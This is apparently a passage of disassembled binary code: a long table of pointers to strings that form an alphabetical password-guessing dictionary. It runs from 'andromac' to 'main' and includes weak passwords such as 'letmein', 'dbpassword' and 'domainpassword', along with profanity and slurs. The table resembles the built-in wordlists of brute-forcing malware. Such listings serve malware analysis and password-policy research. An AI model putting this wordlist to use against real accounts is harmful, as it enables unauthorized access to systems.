		dd offset aAndromac	; "andromac"
		dd offset aAndromache	; "andromache"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnn		; "ann"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnthropogenic ; "anthropogenic"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsd		; "asd"
		dd offset aAsdf		; "asdf"
		dd offset aAsdfgh	; "asdfgh"
		dd offset aAsian	; "asian"
		dd offset aAsm		; "asm"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtmosphere	; "atmosphere"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBackup	; "backup"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBeethoven	; "beethoven"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBicameral	; "bicameral"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBilly	; "billy"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBla		; "bla"
		dd offset aBlack	; "black"
		dd offset aBlank	; "blank"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBob		; "bob"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBruce	; "bruce"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBsd		; "bsd"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCad		; "cad"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCampanile	; "campanile"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
		dd offset aCandy	; "candy"
		dd offset aCantor	; "cantor"
		dd offset aCapitol	; "capitol"
		dd offset aCaptain	; "captain"
		dd offset aCapture	; "capture"
		dd offset aCard		; "card"
		dd offset aCardinal	; "cardinal"
		dd offset aCaren	; "caren"
		dd offset aCarla	; "carla"
		dd offset aCarmen	; "carmen"
		dd offset aCarol	; "carol"
		dd offset aCarole	; "carole"
		dd offset aCarolina	; "carolina"
		dd offset aCaroline	; "caroline"
		dd offset aCarrie	; "carrie"
		dd offset aCarson	; "carson"
		dd offset aCascades	; "cascades"
		dd offset aCash		; "cash"
		dd offset aCastle	; "castle"
		dd offset aCat		; "cat"
		dd offset aCatherin	; "catherin"
		dd offset aCatherine	; "catherine"
		dd offset aCatholic	; "catholic"
		dd offset aCathy	; "cathy"
		dd offset aCave		; "cave"
		dd offset aCayuga	; "cayuga"
		dd offset aCecily	; "cecily"
		dd offset aCelt		; "celt"
		dd offset aCeltic	; "celtic"
		dd offset aCeltics	; "celtics"
		dd offset aCerulean	; "cerulean"
		dd offset aChange	; "change"
		dd offset aCharity	; "charity"
		dd offset aCharles	; "charles"
		dd offset aCharlie	; "charlie"
		dd offset aCharming	; "charming"
		dd offset aCharon	; "charon"
		dd offset aChat_0	; "chat"
		dd offset aChem		; "chem"
		dd offset aChemistr	; "chemistr"
		dd offset aChemistry	; "chemistry"
		dd offset aChess	; "chess"
		dd offset aChester	; "chester"
		dd offset aChip		; "chip"
		dd offset aChris	; "chris"
		dd offset aChristin	; "christin"
		dd offset aChristina	; "christina"
		dd offset aChristine	; "christine"
		dd offset aChristy	; "christy"
		dd offset aCigar	; "cigar"
		dd offset aCigarett	; "cigarett"
		dd offset aCindy	; "cindy"
		dd offset aCisco	; "cisco"
		dd offset aClass	; "class"
		dd offset aClasses	; "classes"
		dd offset aClassic	; "classic"
		dd offset aClaudia	; "claudia"
		dd offset aClaymore	; "claymore"
		dd offset aCleavage	; "cleavage"
		dd offset aClinton	; "clinton"
		dd offset aCluster	; "cluster"
		dd offset aClusters	; "clusters"
		dd offset aCoast	; "coast"
		dd offset aCocacola	; "cocacola"
		dd offset aCocainco	; "cocainco"
		dd offset aCock		; "cock"
		dd offset aCode		; "code"
		dd offset aCodename	; "codename"
		dd offset aCodeword	; "codeword"
		dd offset aCoffee	; "coffee"
		dd offset aCoin		; "coin"
		dd offset aCoke		; "coke"
		dd offset aCola		; "cola"
		dd offset aCold		; "cold"
		dd offset aCollins	; "collins"
		dd offset aColor	; "color"
		dd offset aCombat	; "combat"
		dd offset aComics	; "comics"
		dd offset aCommit	; "commit"
		dd offset aCommrade	; "commrade"
		dd offset aCommrades	; "commrades"
		dd offset aCompany	; "company"
		dd offset aCompaq	; "compaq"
		dd offset aComputer	; "computer"
		dd offset aComputin	; "computin"
		dd offset aComrade	; "comrade"
		dd offset aComrades	; "comrades"
		dd offset aCondo	; "condo"
		dd offset aCondom	; "condom"
		dd offset aConnect	; "connect"
		dd offset aConnie	; "connie"
		dd offset aConserva	; "conserva"
		dd offset aConsole	; "console"
		dd offset aContinue	; "continue"
		dd offset aControl	; "control"
		dd offset aCook		; "cook"
		dd offset aCookbook	; "cookbook"
		dd offset aCookie	; "cookie"
		dd offset aCool		; "cool"
		dd offset aCooper	; "cooper"
		dd offset aCopper	; "copper"
		dd offset aCops		; "cops"
		dd offset aCopy		; "copy"
		dd offset aCorneliu	; "corneliu"
		dd offset aCornelius	; "cornelius"
		dd offset aCorrect	; "correct"
		dd offset aCounters	; "counters"
		dd offset aCountry	; "country"
		dd offset aCouscous	; "couscous"
		dd offset aCowboy	; "cowboy"
		dd offset aCrack	; "crack"
		dd offset aCrackpot	; "crackpot"
		dd offset aCrash	; "crash"
		dd offset aCream	; "cream"
		dd offset aCreate	; "create"
		dd offset aCreation	; "creation"
		dd offset aCreature	; "creature"
		dd offset aCredit	; "credit"
		dd offset aCreosote	; "creosote"
		dd offset aCretin	; "cretin"
		dd offset aCrime	; "crime"
		dd offset aCriminal	; "criminal"
		dd offset aCristina	; "cristina"
		dd offset aCrystal	; "crystal"
		dd offset aCshrc	; "cshrc"
		dd offset aCtx		; "ctx"
		dd offset aCunt		; "cunt"
		dd offset aCustomer	; "customer"
		dd offset aCyber	; "cyber"
		dd offset aCyberpun	; "cyberpun"
		dd offset aCyberspa	; "cyberspa"
		dd offset aCynthia	; "cynthia"
		dd offset aD00d		; "d00d"
		dd offset aDaemon	; "daemon"
		dd offset aDaisy	; "daisy"
		dd offset aDana		; "dana"
		dd offset aDancer	; "dancer"
		dd offset aDaniel	; "daniel"
		dd offset aDanielle	; "danielle"
		dd offset aDanny	; "danny"
		dd offset aDapper	; "dapper"
		dd offset aDark		; "dark"
		dd offset aDarkaven	; "darkaven"
		dd offset aData		; "data"
		dd offset aDatabase	; "database"
		dd offset aDatabasepass	; "databasepass"
		dd offset aDatabasepasswo ; "databasepassword"
		dd offset aDave		; "dave"
		dd offset aDawn		; "dawn"
		dd offset aDb1		; "db1"
		dd offset aDb1234	; "db1234"
		dd offset aDbpass	; "dbpass"
		dd offset aDbpassword	; "dbpassword"
		dd offset aDead		; "dead"
		dd offset aDeath	; "death"
		dd offset aDeathsta	; "deathsta"
		dd offset aDeb		; "deb"
		dd offset aDebbie	; "debbie"
		dd offset aDeborah	; "deborah"
		dd offset aDebug	; "debug"
		dd offset aDecember	; "december"
		dd offset aDeck		; "deck"
		dd offset aDefoe	; "defoe"
		dd offset aDelta	; "delta"
		dd offset aDeluge	; "deluge"
		dd offset aDemo		; "demo"
		dd offset aDemocrat	; "democrat"
		dd offset aDenise	; "denise"
		dd offset aDennis	; "dennis"
		dd offset aDesiree	; "desiree"
		dd offset aDesk		; "desk"
		dd offset aDesktop	; "desktop"
		dd offset aDesperat	; "desperat"
		dd offset aDesperate	; "desperate"
		dd offset aDevelop	; "develop"
		dd offset aDevice	; "device"
		dd offset aDevil	; "devil"
		dd offset aDial		; "dial"
		dd offset aDiamond	; "diamond"
		dd offset aDiana	; "diana"
		dd offset aDiane	; "diane"
		dd offset aDice		; "dice"
		dd offset aDick		; "dick"
		dd offset aDiehard	; "diehard"
		dd offset aDiet		; "diet"
		dd offset aDieter	; "dieter"
		dd offset aDigital	; "digital"
		dd offset aDinosaur	; "dinosaur"
		dd offset aDipshit	; "dipshit"
		dd offset aDirect	; "direct"
		dd offset aDirector	; "director"
		dd offset aDirty	; "dirty"
		dd offset aDisc		; "disc"
		dd offset aDiscipli	; "discipli"
		dd offset aDisclose	; "disclose"
		dd offset aDiscover	; "discover"
		dd offset aDiscovery	; "discovery"
		dd offset aDisk_0	; "disk"
		dd offset aDiskette	; "diskette"
		dd offset aDisney	; "disney"
		dd offset aDisplay	; "display"
		dd offset aDoctor	; "doctor"
		dd offset aDog		; "dog"
		dd offset aDollar	; "dollar"
		dd offset aDomain	; "domain"
		dd offset aDomainpass	; "domainpass"
		dd offset aDomainpassword ; "domainpassword"
		dd offset aDonaldduck	; "donaldduck"
		dd offset aDong		; "dong"
		dd offset aDoom		; "doom"
		dd offset aDoom2	; "doom2"
		dd offset aDoomii	; "doomii"
		dd offset aDoomsday	; "doomsday"
		dd offset aDoonesbu	; "doonesbu"
		dd offset aDoor		; "door"
		dd offset aDoors	; "doors"
		dd offset aDope		; "dope"
		dd offset aDos		; "dos"
		dd offset aDownload	; "download"
		dd offset aDragon	; "dragon"
		dd offset aDrdoom	; "drdoom"
		dd offset aDrive	; "drive"
		dd offset aDrought	; "drought"
		dd offset aDuck		; "duck"
		dd offset aDud3		; "dud3"
		dd offset aDude		; "dude"
		dd offset aDudette	; "dudette"
		dd offset aDuelist	; "duelist"
		dd offset aDuke		; "duke"
		dd offset aDulce	; "dulce"
		dd offset aDuncan	; "duncan"
		dd offset aDungeon	; "dungeon"
		dd offset aDyke		; "dyke"
		dd offset aEager	; "eager"
		dd offset aEagle	; "eagle"
		dd offset aEarth	; "earth"
		dd offset aEasier	; "easier"
		dd offset aEasy		; "easy"
		dd offset aEatme	; "eatme"
		dd offset aEcho		; "echo"
		dd offset aEddie	; "eddie"
		dd offset aEdges	; "edges"
		dd offset aEdinburg	; "edinburg"
		dd offset aEdinburgh	; "edinburgh"
		dd offset aEdit		; "edit"
		dd offset aEdition	; "edition"
		dd offset aEdu		; "edu"
		dd offset aEducatio	; "educatio"
		dd offset aEducation	; "education"
		dd offset aEdwin	; "edwin"
		dd offset aEdwina	; "edwina"
		dd offset aEgghead	; "egghead"
		dd offset aEiderdow	; "eiderdow"
		dd offset aEiderdown	; "eiderdown"
		dd offset aEileen	; "eileen"
		dd offset aEinsiein	; "einsiein"
		dd offset aEinstein	; "einstein"
		dd offset aElaine	; "elaine"
		dd offset aElanor	; "elanor"
		dd offset aElectron	; "electron"
		dd offset aElephant	; "elephant"
		dd offset aElizabet	; "elizabet"
		dd offset aElizabeth	; "elizabeth"
		dd offset aEllen	; "ellen"
		dd offset aEmail	; "email"
		dd offset aEmerald	; "emerald"
		dd offset aEmily	; "emily"
		dd offset aEmmanuel	; "emmanuel"
		dd offset aEnable	; "enable"
		dd offset aEnemy	; "enemy"
		dd offset aEngine	; "engine"
		dd offset aEngineer	; "engineer"
		dd offset aEngland	; "england"
		dd offset aEnglish	; "english"
		dd offset aEnter	; "enter"
		dd offset aEnterpri	; "enterpri"
		dd offset aEnterprise	; "enterprise"
		dd offset aEnzyme	; "enzyme"
		dd offset aErenity	; "erenity"
		dd offset aEric		; "eric"
		dd offset aErica	; "erica"
		dd offset aErika	; "erika"
		dd offset aErin		; "erin"
		dd offset aErotic	; "erotic"
		dd offset aErsatz	; "ersatz"
		dd offset aEstablis	; "establis"
		dd offset aEstablish	; "establish"
		dd offset aEstate	; "estate"
		dd offset aEternity	; "eternity"
		dd offset aEuclid	; "euclid"
		dd offset aEvelyn	; "evelyn"
		dd offset aExchange	; "exchange"
		dd offset aExchnge	; "exchnge"
		dd offset aExpert	; "expert"
		dd offset aExplode	; "explode"
		dd offset aExplore	; "explore"
		dd offset aExplorer	; "explorer"
		dd offset aExplosiv	; "explosiv"
		dd offset aExtensio	; "extensio"
		dd offset aExtension	; "extension"
		dd offset aFairway	; "fairway"
		dd offset aFaith	; "faith"
		dd offset aFalcon	; "falcon"
		dd offset aFalse	; "false"
		dd offset aFamily	; "family"
		dd offset aFarad	; "farad"
		dd offset aFaraday	; "faraday"
		dd offset aFart		; "fart"
		dd offset aFast		; "fast"
		dd offset aFear		; "fear"
		dd offset aFeds		; "feds"
		dd offset aFelicia	; "felicia"
		dd offset aFender	; "fender"
		dd offset aFermat	; "fermat"
		dd offset aFerrari	; "ferrari"
		dd offset aFidelity	; "fidelity"
		dd offset aField	; "field"
		dd offset aFight	; "fight"
		dd offset aFile		; "file"
		dd offset aFinite	; "finite"
		dd offset aFire		; "fire"
		dd offset aFirewall	; "firewall"
		dd offset aFish		; "fish"
		dd offset aFishers	; "fishers"
		dd offset aFlakes	; "flakes"
		dd offset aFloat	; "float"
		dd offset aFlorida	; "florida"
		dd offset aFlower	; "flower"
		dd offset aFlowers	; "flowers"
		dd offset aFoobar	; "foobar"
		dd offset aFood		; "food"
		dd offset aFool		; "fool"
		dd offset aFoolproo	; "foolproo"
		dd offset aFoolproof	; "foolproof"
		dd offset aFootball	; "football"
		dd offset aForce	; "force"
		dd offset aFord		; "ford"
		dd offset aForesigh	; "foresigh"
		dd offset aForesight	; "foresight"
		dd offset aForever	; "forever"
		dd offset aForm		; "form"
		dd offset aFormat	; "format"
		dd offset aFornicat	; "fornicat"
		dd offset aForsythe	; "forsythe"
		dd offset aFourier	; "fourier"
		dd offset aFoxtrot	; "foxtrot"
		dd offset aFrance	; "france"
		dd offset aFrank	; "frank"
		dd offset aFreak	; "freak"
		dd offset aFred		; "fred"
		dd offset aFreddy	; "freddy"
		dd offset aFree		; "free"
		dd offset aFreedom	; "freedom"
		dd offset aFrench	; "french"
		dd offset aFriday	; "friday"
		dd offset aFriend	; "friend"
		dd offset aFriends	; "friends"
		dd offset aFrighten	; "frighten"
		dd offset aFrog		; "frog"
		dd offset aFryguy	; "fryguy"
		dd offset aFubar	; "fubar"
		dd offset aFuck		; "fuck"
		dd offset aFucked	; "fucked"
		dd offset aFucker	; "fucker"
		dd offset aFucking	; "fucking"
		dd offset aFuckme	; "fuckme"
		dd offset aFuckyou	; "fuckyou"
		dd offset aFudge	; "fudge"
		dd offset aFun		; "fun"
		dd offset aFunction	; "function"
		dd offset aFungible	; "fungible"
		dd offset aGabriel	; "gabriel"
		dd offset aGames	; "games"
		dd offset aGardner	; "gardner"
		dd offset aGarfield	; "garfield"
		dd offset aGateway	; "gateway"
		dd offset aGatherin	; "gatherin"
		dd offset aGatt		; "gatt"
		dd offset aGauss	; "gauss"
		dd offset aGeorge	; "george"
		dd offset aGerm		; "germ"
		dd offset aGertrude	; "gertrude"
		dd offset aGhost	; "ghost"
		dd offset aGibson	; "gibson"
		dd offset aGigabyte	; "gigabyte"
		dd offset aGina		; "gina"
		dd offset aGinger	; "ginger"
		dd offset aGirl		; "girl"
		dd offset aGlacier	; "glacier"
		dd offset aGlen		; "glen"
		dd offset aGnu		; "gnu"
		dd offset aGobo		; "gobo"
		dd offset aGod		; "god"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aGold		; "gold"
		dd offset aGolden	; "golden"
		dd offset aGolf		; "golf"
		dd offset aGolfer	; "golfer"
		dd offset aGood		; "good"
		dd offset aGorgeous	; "gorgeous"
		dd offset aGorges	; "gorges"
		dd offset aGosling	; "gosling"
		dd offset aGouge	; "gouge"
		dd offset aGovermen	; "govermen"
		dd offset aGrades	; "grades"
		dd offset aGraham	; "graham"
		dd offset aGrahm	; "grahm"
		dd offset aGrand	; "grand"
		dd offset aGrant	; "grant"
		dd offset aGreat	; "great"
		dd offset aGreen	; "green"
		dd offset aGroup	; "group"
		dd offset aGryphon	; "gryphon"
		dd offset aGuardian	; "guardian"
		dd offset aGucci	; "gucci"
		dd offset aGuess	; "guess"
		dd offset aGuessme	; "guessme"
		dd offset aGuitar	; "guitar"
		dd offset aGumption	; "gumption"
		dd offset aGuntis	; "guntis"
		dd offset aH4x0r1ng	; "h4x0r1ng"
		dd offset aH4x0ring	; "h4x0ring"
		dd offset aH4x1ng	; "h4x1ng"
		dd offset aHack		; "hack"
		dd offset aHacked	; "hacked"
		dd offset aHacker	; "hacker"
		dd offset aHagar	; "hagar"
		dd offset aHair		; "hair"
		dd offset aHal		; "hal"
		dd offset aHallowee	; "hallowee"
		dd offset aHamlet	; "hamlet"
		dd offset aHamster	; "hamster"
		dd offset aHandel	; "handel"
		dd offset aHandily	; "handily"
		dd offset aHandjob	; "handjob"
		dd offset aHappenin	; "happenin"
		dd offset aHappening	; "happening"
		dd offset aHard		; "hard"
		dd offset aHardcore	; "hardcore"
		dd offset aHarddriv	; "harddriv"
		dd offset aHarmony	; "harmony"
		dd offset aHarold	; "harold"
		dd offset aHarvey	; "harvey"
		dd offset aHate		; "hate"
		dd offset aHaven	; "haven"
		dd offset aHawaii	; "hawaii"
		dd offset aHax		; "hax"
		dd offset aHax0r	; "hax0r"
		dd offset aHaxing	; "haxing"
		dd offset aHead		; "head"
		dd offset aHeadbang	; "headbang"
		dd offset aHeadoffice	; "headoffice"
		dd offset aHeat		; "heat"
		dd offset aHeathen	; "heathen"
		dd offset aHeather	; "heather"
		dd offset aHeaven	; "heaven"
		dd offset aHebrides	; "hebrides"
		dd offset aHeidi	; "heidi"
		dd offset aHeinlein	; "heinlein"
		dd offset aHell		; "hell"
		dd offset aHello	; "hello"
		dd offset aHelp		; "help"
		dd offset aHerb		; "herb"
		dd offset aHerbert	; "herbert"
		dd offset aHero		; "hero"
		dd offset aHeroin	; "heroin"
		dd offset aHewlett	; "hewlett"
		dd offset aHexadeci	; "hexadeci"
		dd offset aHiawatha	; "hiawatha"
		dd offset aHibernia	; "hibernia"
		dd offset aHidden	; "hidden"
		dd offset aHigh		; "high"
		dd offset aHighland	; "highland"
		dd offset aHitler	; "hitler"
		dd offset aHits		; "hits"
		dd offset aHo		; "ho"
		dd offset aHole		; "hole"
		dd offset aHolly	; "holly"
		dd offset aHollywoo	; "hollywoo"
		dd offset aHome		; "home"
		dd offset aHomepage	; "homepage"
		dd offset aHomer	; "homer"
		dd offset aHomeuser	; "homeuser"
		dd offset aHomework	; "homework"
		dd offset aHoney	; "honey"
		dd offset aHooker	; "hooker"
		dd offset aHooters	; "hooters"
		dd offset aHorny	; "horny"
		dd offset aHorrible	; "horrible"
		dd offset aHorror	; "horror"
		dd offset aHorse	; "horse"
		dd offset aHorus	; "horus"
		dd offset aHost		; "host"
		dd offset aHotdog	; "hotdog"
		dd offset aHotel	; "hotel"
		dd offset aHq		; "hq"
		dd offset aHttp_0	; "http"
		dd offset aHunt		; "hunt"
		dd offset aHunter	; "hunter"
		dd offset aHutchins	; "hutchins"
		dd offset aHydrogen	; "hydrogen"
		dd offset aHyper	; "hyper"
		dd offset aHypertxt	; "hypertxt"
		dd offset aIan		; "ian"
		dd offset aIbm		; "ibm"
		dd offset aIcecream	; "icecream"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aIllumina	; "illumina"
		dd offset aImage	; "image"
		dd offset aImbrogli	; "imbrogli"
		dd offset aImbroglio	; "imbroglio"
		dd offset aImmortal	; "immortal"
		dd offset aImperial	; "imperial"
		dd offset aInclude	; "include"
		dd offset aIndia	; "india"
		dd offset aIndian	; "indian"
		dd offset aIndiana	; "indiana"
		dd offset aIndians	; "indians"
		dd offset aIngres	; "ingres"
		dd offset aIngress	; "ingress"
		dd offset aIngrid	; "ingrid"
		dd offset aInna		; "inna"
		dd offset aInnocuou	; "innocuou"
		dd offset aInnocuous	; "innocuous"
		dd offset aInput	; "input"
		dd offset aInside	; "inside"
		dd offset aInteger	; "integer"
		dd offset aInternet	; "internet"
		dd offset aIntranet	; "intranet"
		dd offset aInvent	; "invent"
		dd offset aIrene	; "irene"
		dd offset aIrishman	; "irishman"
		dd offset aIrule	; "irule"
		dd offset aIsis		; "isis"
		dd offset aJackie	; "jackie"
		dd offset aJail		; "jail"
		dd offset aJane		; "jane"
		dd offset aJanet	; "janet"
		dd offset aJanice	; "janice"
		dd offset aJanie	; "janie"
		dd offset aJapan	; "japan"
		dd offset aJasmin	; "jasmin"
		dd offset aJava		; "java"
		dd offset aJazz		; "jazz"
		dd offset aJean		; "jean"
		dd offset aJeanne	; "jeanne"
		dd offset aJeff		; "jeff"
		dd offset aJen		; "jen"
		dd offset aJenni	; "jenni"
		dd offset aJennifer	; "jennifer"
		dd offset aJenny	; "jenny"
		dd offset aJerry	; "jerry"
		dd offset aJerusale	; "jerusale"
		dd offset aJessica	; "jessica"
		dd offset aJester	; "jester"
		dd offset aJewelry	; "jewelry"
		dd offset aJill		; "jill"
		dd offset aJixian	; "jixian"
		dd offset aJoan		; "joan"
		dd offset aJoanne	; "joanne"
		dd offset aJody		; "jody"
		dd offset aJoe		; "joe"
		dd offset aJohn		; "john"
		dd offset aJohndoe	; "johndoe"
		dd offset aJohnny	; "johnny"
		dd offset aJoseph	; "joseph"
		dd offset aJoshua	; "joshua"
		dd offset aJournal	; "journal"
		dd offset aJoy		; "joy"
		dd offset aJoyce	; "joyce"
		dd offset aJudith	; "judith"
		dd offset aJudy		; "judy"
		dd offset aJuggle	; "juggle"
		dd offset aJuicy	; "juicy"
		dd offset aJulia	; "julia"
		dd offset aJulie	; "julie"
		dd offset aJuliet	; "juliet"
		dd offset aJune		; "june"
		dd offset aJupiter	; "jupiter"
		dd offset aKaka		; "kaka"
		dd offset aKaren	; "karen"
		dd offset aKarie	; "karie"
		dd offset aKarina	; "karina"
		dd offset aKatana	; "katana"
		dd offset aKate		; "kate"
		dd offset aKathleen	; "kathleen"
		dd offset aKathrine	; "kathrine"
		dd offset aKathy	; "kathy"
		dd offset aKatie	; "katie"
		dd offset aKatina	; "katina"
		dd offset aKatrina	; "katrina"
		dd offset aKelly	; "kelly"
		dd offset aKeri		; "keri"
		dd offset aKermit	; "kermit"
		dd offset aKernel	; "kernel"
		dd offset aKerri	; "kerri"
		dd offset aKerrie	; "kerrie"
		dd offset aKerry	; "kerry"
		dd offset aKevin	; "kevin"
		dd offset aKewl		; "kewl"
		dd offset aKey		; "key"
		dd offset aKeybord	; "keybord"
		dd offset aKeyin	; "keyin"
		dd offset aKeyword	; "keyword"
		dd offset aKiddie	; "kiddie"
		dd offset aKids		; "kids"
		dd offset aKill		; "kill"
		dd offset aKiller	; "killer"
		dd offset aKillthem	; "killthem"
		dd offset aKilo		; "kilo"
		dd offset aKim		; "kim"
		dd offset aKimberly	; "kimberly"
		dd offset aKing		; "king"
		dd offset aKirk		; "kirk"
		dd offset aKirkland	; "kirkland"
		dd offset aKiss		; "kiss"
		dd offset aKissmyas	; "kissmyas"
		dd offset aKitten	; "kitten"
		dd offset aKlingon	; "klingon"
		dd offset aKnife	; "knife"
		dd offset aKnight	; "knight"
		dd offset aKnightma	; "knightma"
		dd offset aKnown	; "known"
		dd offset aKrista	; "krista"
		dd offset aKristen	; "kristen"
		dd offset aKristi	; "kristi"
		dd offset aKristie	; "kristie"
		dd offset aKristin	; "kristin"
		dd offset aKristine	; "kristine"
		dd offset aKristy	; "kristy"
		dd offset aL337		; "l337"
		dd offset aL33t		; "l33t"
		dd offset aLadies	; "ladies"
		dd offset aLadle	; "ladle"
		dd offset aLakers	; "lakers"
		dd offset aLambda	; "lambda"
		dd offset aLaminati	; "laminati"
		dd offset aLamination	; "lamination"
		dd offset aLan		; "lan"
		dd offset aLana		; "lana"
		dd offset aLaptop	; "laptop"
		dd offset aLara		; "lara"
		dd offset aLarkin	; "larkin"
		dd offset aLarry	; "larry"
		dd offset aLaser	; "laser"
		dd offset aLaura	; "laura"
		dd offset aLava		; "lava"
		dd offset aLazarus	; "lazarus"
		dd offset aLazer	; "lazer"
		dd offset aLeah		; "leah"
		dd offset aLebesgue	; "lebesgue"
		dd offset aLee		; "lee"
		dd offset aLeet		; "leet"
		dd offset aLeft		; "left"
		dd offset aLeftwing	; "leftwing"
		dd offset aLegal	; "legal"
		dd offset aLeland	; "leland"
		dd offset aLeroy	; "leroy"
		dd offset aLesbian	; "lesbian"
		dd offset aLeslie	; "leslie"
		dd offset aLetmein	; "letmein"
		dd offset aLewis	; "lewis"
		dd offset aLexluthe	; "lexluthe"
		dd offset aLiberal	; "liberal"
		dd offset aLibrary	; "library"
		dd offset aLick		; "lick"
		dd offset aLicker	; "licker"
		dd offset aLife		; "life"
		dd offset aLight	; "light"
		dd offset aLightsab	; "lightsab"
		dd offset aLima		; "lima"
		dd offset aLimbaugh	; "limbaugh"
		dd offset aLimited	; "limited"
		dd offset aLinda	; "linda"
		dd offset aLink		; "link"
		dd offset aLinux	; "linux"
		dd offset aLion		; "lion"
		dd offset aLips		; "lips"
		dd offset aLisa		; "lisa"
		dd offset aLisp		; "lisp"
		dd offset aLiteratu	; "literatu"
		dd offset aLive		; "live"
		dd offset aLiz		; "liz"
		dd offset aLoad		; "load"
		dd offset aLock		; "lock"
		dd offset aLockout	; "lockout"
		dd offset aLockword	; "lockword"
		dd offset aLogic	; "logic"
		dd offset aLoginpass	; "loginpass"
		dd offset aLoginwor	; "loginwor"
		dd offset aLogout	; "logout"
		dd offset aLois		; "lois"
		dd offset aLol		; "lol"
		dd offset aLolopc	; "lolopc"
		dd offset aLoose	; "loose"
		dd offset aLore		; "lore"
		dd offset aLori		; "lori"
		dd offset aLorin	; "lorin"
		dd offset aLorraine	; "lorraine"
		dd offset aLoser	; "loser"
		dd offset aLouis	; "louis"
		dd offset aLove		; "love"
		dd offset aLovebug	; "lovebug"
		dd offset aLover	; "lover"
		dd offset aLuck		; "luck"
		dd offset aLucus	; "lucus"
		dd offset aLucy		; "lucy"
		dd offset aLude		; "lude"
		dd offset aLuke		; "luke"
		dd offset aLust		; "lust"
		dd offset aLynn		; "lynn"
		dd offset aLynne	; "lynne"
		dd offset aMachine	; "machine"
		dd offset aMacintos	; "macintos"
		dd offset aMacintosh	; "macintosh"
		dd offset aMack		; "mack"
		dd offset aMacro	; "macro"
		dd offset aMaggot	; "maggot"
		dd offset aMagic	; "magic"
		dd offset aMagnet	; "magnet"
		dd offset aMail		; "mail"
		dd offset aMain		; "main"
